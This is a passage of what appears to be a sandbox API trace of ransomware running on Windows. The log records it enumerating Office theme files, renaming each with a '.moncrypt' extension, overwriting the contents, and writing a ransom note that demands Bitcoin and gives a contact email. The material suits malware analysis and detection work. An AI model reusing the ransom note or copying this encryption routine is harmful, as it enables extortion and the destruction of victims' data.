Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.055] GlobalLock (hMem=0x440004) returned 0x550170 [0054.055] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.055] GlobalUnlock (hMem=0x440004) returned 0 [0054.055] GlobalLock (hMem=0x440004) returned 0x550170 [0054.055] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.055] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.055] GlobalUnlock (hMem=0x440004) returned 0 [0054.055] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.055] GlobalUnlock (hMem=0x44000c) returned 0 [0054.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.055] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.055] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.055] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.055] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.055] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.055] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.055] GlobalUnlock (hMem=0x44000c) returned 0 [0054.056] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.056] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.056] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.056] GlobalUnlock (hMem=0x44000c) returned 0 [0054.056] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.056] GlobalUnlock (hMem=0x440004) returned 0 [0054.056] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.056] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0054.057] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.057] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.057] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.057] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.057] GlobalUnlock (hMem=0x440004) returned 0 [0054.057] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.057] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.057] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.057] GlobalUnlock (hMem=0x440004) returned 0 [0054.057] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.057] GlobalUnlock (hMem=0x44000c) returned 0 [0054.057] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.058] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.059] CloseHandle (hObject=0x18c) returned 1 [0054.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\я")) returned 1 [0054.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 0x54e240 [0054.060] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.060] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.060] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", dwFileAttributes=0x20) returned 1 [0054.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.moncrypt")) returned 1 [0054.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xd59f [0054.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.063] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.065] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.065] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.065] GlobalUnlock (hMem=0x440004) returned 0 [0054.065] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.065] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.065] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.065] GlobalUnlock (hMem=0x440004) returned 0 [0054.065] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.065] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.065] GlobalUnlock (hMem=0x44000c) returned 0 [0054.065] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.065] GlobalUnlock (hMem=0x440004) returned 0 [0054.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.065] GlobalUnlock (hMem=0x440004) returned 0 [0054.065] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.065] GlobalUnlock (hMem=0x440004) returned 0 [0054.065] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.065] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.065] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.066] SetFilePointer (in: hFile=0x18c, lDistanceToMove=54687, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xd59f [0054.066] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.066] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.066] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.077] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.077] CloseHandle (hObject=0x18c) returned 1 [0054.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.079] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.079] CloseHandle (hObject=0x18c) returned 1 [0054.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.079] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.079] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.079] GlobalUnlock (hMem=0x440004) returned 0 [0054.079] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.079] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.079] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.079] GlobalUnlock (hMem=0x440004) returned 0 [0054.079] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.079] GlobalUnlock (hMem=0x44000c) returned 0 [0054.079] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a558, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.080] GetLastError () returned 0x2 [0054.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.082] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.082] CloseHandle (hObject=0x18c) returned 1 [0054.083] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0054.083] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.083] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.083] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.083] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.083] GlobalUnlock (hMem=0x44000c) returned 0 [0054.083] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.083] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.083] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.083] GlobalUnlock (hMem=0x44000c) returned 0 [0054.083] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.083] GlobalUnlock (hMem=0x440004) returned 0 [0054.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.083] CharLowerBuffW (in: lpsz="SONORA.INF", cchLength=0xa | out: lpsz="sonora.inf") returned 0xa [0054.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpUsedDefaultChar=0x0) returned 73 [0054.084] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SONORA\\SONORA.INF", lpUsedDefaultChar=0x0) returned 4 [0054.084] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.084] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.084] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.084] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.084] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.084] GlobalUnlock (hMem=0x440004) returned 0 [0054.084] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.084] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.084] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.084] GlobalUnlock (hMem=0x440004) returned 0 [0054.084] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.084] GlobalUnlock (hMem=0x44000c) returned 0 [0054.084] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.085] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, 